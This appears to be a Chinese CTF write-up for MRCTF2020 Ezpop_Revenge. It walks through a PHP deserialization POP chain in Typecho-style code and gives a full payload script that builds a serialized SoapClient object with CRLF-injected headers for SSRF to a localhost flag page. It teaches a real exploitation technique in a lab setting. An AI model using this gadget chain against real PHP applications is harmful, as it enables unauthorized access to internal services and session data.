【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF
【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF
1. 收获
- CMS初审计
- google、baidu hack
- PHP原生类反序列化
2. 看题
2.1 读源码
网页存在源码泄露,访问www.zip,得到源码。同时要知道,typecho模板是存在反序列化注入漏洞的,但是其存在于install.php,本题中没有这个文件,所以找找其他线索。
flag.php:
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>
说明是要读session中的flag字段。
搜索字符串unserialize,找到其他使用反序列化函数的地方,在/usr/plugin.php中发现:

也就是说,如果请求中存在admin字段,同时session中的flag字段也被成功写入,则会输出flag的值。那我们要做的就是满足flag.php中的条件:$_SERVER['REMOTE_ADDR']==="127.0.0.1"。
2.2 函数触发
为了激活该反序列化函数,我们需要查找action函数对应的路由,全局搜索类名HelloWorld_Plugin,定位到文件/var/Typecho/Plugin.php:

可以看到访问/page_admin即可触发action函数。
2.3 POP链
查看/usr/plugin.php中的POP链,定位函数:
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
这里实例化了一个类,所以进入Typecho_Db类中的__construction查看:
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
这里提示使用__toString方法。全局搜索toString函数,这里使用/var/Typecho/Db/Query.php中的函数:
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
.....//省略后面
}
}
可以看到如果我们的_adapter属性不包含parseSelect方法的话就会调用其自身的__call函数,因此这里使用PHP中的原生类SoapClient进行SSRF,因为原生类中包含了__call函数。
利用链:
HelloWorld_DB::wakeup–>Typecho_Db::__construct(tostring)–>Typecho_Db_Query::__construct–>(this->_adapter=new Soapclient)–>SSRF
2.4 Payload
如下:
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct()
{
$this->coincidence['hello'] = new Typecho_Db_Query();
$this->coincidence['world'] = 'test';
}
}
class Typecho_Db_Query{
private $_sqlPreBuild;
private $_adapter;
private $_prefix;
public function __construct()
{
$target = "http://127.0.0.1/flag.php";
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=qjk6oqprtp6i6rl3tgnk1csev6"
);
$this->_adapter = new SoapClient(null, array('uri' => 'test', 'location' => $target, 'user_agent' => "test\r\n" . join("\r\n", $headers)));
$this->_sqlPreBuild['action'] = "SELECT";
}
}
$A=new HelloWorld_DB();
echo urlencode(base64_encode(serialize($A)));
?>
下面只需要使用POST方式把上面的输出放到C0incid3nc3变量中即可。然后在GET参数上再加一个admin变量即可出现flag的值。
【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF的更多相关文章
- [php安全]原生类的利用
php原生类的利用 查看原生类中具有魔法函数的类 $classes = get_declared_classes(); foreach ($classes as $class) { $methods ...
- 反序列化之PHP原生类的利用
目录 基础知识 __call SoapClient __toString Error Exception 实例化任意类 正文 文章围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到 ...
- TSec《mysql client attack chain》
从这个议题学到挺多,攻击手法的串联. 1.mysql Client Attack 这个攻击手法去年就爆出来了,本质就是mysql协议问题,在5步篡改读取客户端内容,导致任意文件读取,如下图所示. 修改 ...
- [代码审计基础 04]ssrf漏洞的利用&伪协议
ssrf漏洞的利用&伪协议 0x1 SSRF原理解析 什么是ssrf SSRF (Server-Side Request Forgery,服务端请求伪造)是指攻击者向服务端发送包含恶意URL链 ...
- Dcloud HTML5 监听蓝牙设备 调用 原生安卓实现
最近一直搞Dcloud ,这是HTML5版本的开发,打包时候,可以打包成 apk 和ipa 分别运行在安卓和ios 机器上面, 但是这里面的资料很少,遇到问题,之后只能自己钻研总结, 现在有这么一个需 ...
- Util应用程序框架公共操作类(三):数据类型转换公共操作类(扩展篇)
上一篇以TDD方式介绍了数据类型转换公共操作类的开发,并提供了单元测试和实现代码,本文将演示通过扩展方法来增强公共操作类,以便调用时更加简化. 下面以字符串转换为List<Guid>为例进 ...
- 原生JS:Array对象详解
Array对象 本文参考MDN做的详细整理,方便大家参考[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/ ...
- React native和原生之间的通信
RN中文网关于原生模块(Android)的介绍可以看到,RN前端与原生模块之 间通信,主要有三种方法: 1)使用回调函数Callback,它提供了一个函数来把返回值传回给JavaScript. 2)使 ...
- Java基础——String类(二)
今天做了几道String常见操作.先来几个代码实例: 例一:此方法,仅把字符串前后出现的空格去掉了,中间部分不会. class TestTrim { public static void main(S ...
- React Native之原生模块的开发(Android)学习笔记
目录 1.为什么我们需要原生模块开发 2.开发Android原生模块的主要流程 3.原生模块开发实战 1.为什么我们需要原生模块开发? 我们在用RN开发App的时候,有时候需要用到一些原生模块 ...
随机推荐
- 使用 KubeBlocks 为 K8s 提供稳如老狗的数据库服务
原文链接:https://forum.laf.run/d/994 大家好!今天这篇文章主要向大家介绍 Sealos 的数据库服务.在 Sealos 上数据库后端服务由 KubeBlocks 提供,为用 ...
- 【路由器】OpenWrt 简介和安装
目录 简介 来源 介绍 安装 一般安装流程 固件搜索下载 参考资料 简介 来源 2002 年底 Linksys 公司推出 WRT-54G,采用了 Linux 取代了原来的 vXworks 系统.迫于 ...
- 关于api数据接口应用
在当今互联网时代,API数据接口应用已经成为各行各业不可替代的技术,它可以让开发者更加轻松地访问和使用各种功能和数据,从而提高开发效率和用户体验.下面就让我们来详细了解API数据接口应用的相关内容. ...
- vue列表逐个进入过渡动画
vue实现列表依次逐渐进入动画 利用vue 中transition-group 实现列表逐个进入动画效果 1.vue3代码, <template> <section class=&q ...
- CI框架的base_url localhost [::1]等问题
为什么localhost变成了[::1] [::1]是IP6的地址, 与localhost等价 使用base_url后, 加载不了样式 ci框架需要定义base_url, 未定义就会出现返回local ...
- nvm、node、vue安装、vue项目创建打包
nvm.node.vue安装.创建vue项目 nvm作用:可以管理多个版本的node,切换node版本,下载node. 前情提要 参 考:https://zhuanlan.zhihu.com/p/51 ...
- Github、Gitee优秀的开源项目
收集 Github.Gitee优秀的开源项目,并进行归类整理.项目地址 目录 编程语言项目 SprinBoot 项目 源码分析项目 前后端分离项目 Vue2 项目 Vue3 项目 微服务项目 Api ...
- Solution -「BZOJ 3779」重组病毒
Description Link. Given is a tree. Every node initially has a color which is different from others'. ...
- 基于AvaSpe 2048测定物体的光谱曲线
本文介绍基于AvaSpec-ULS2048x64光纤光谱仪测定植被.土壤等地物高光谱曲线的方法. AvaSpec是由荷兰著名的光纤光谱仪器与系统开发公司Avantes制造的系列高性能光谱仪,广 ...
- ES6 Module模块,在vsCode中已服务器模式运行HTML文件
操作步骤如下: 一.安装Live Server 插件 二.点击扩展设置 三.设置live server默认打开浏览器为"chrome" 四.配置-工作区 五.在HTML文件中,右键 ...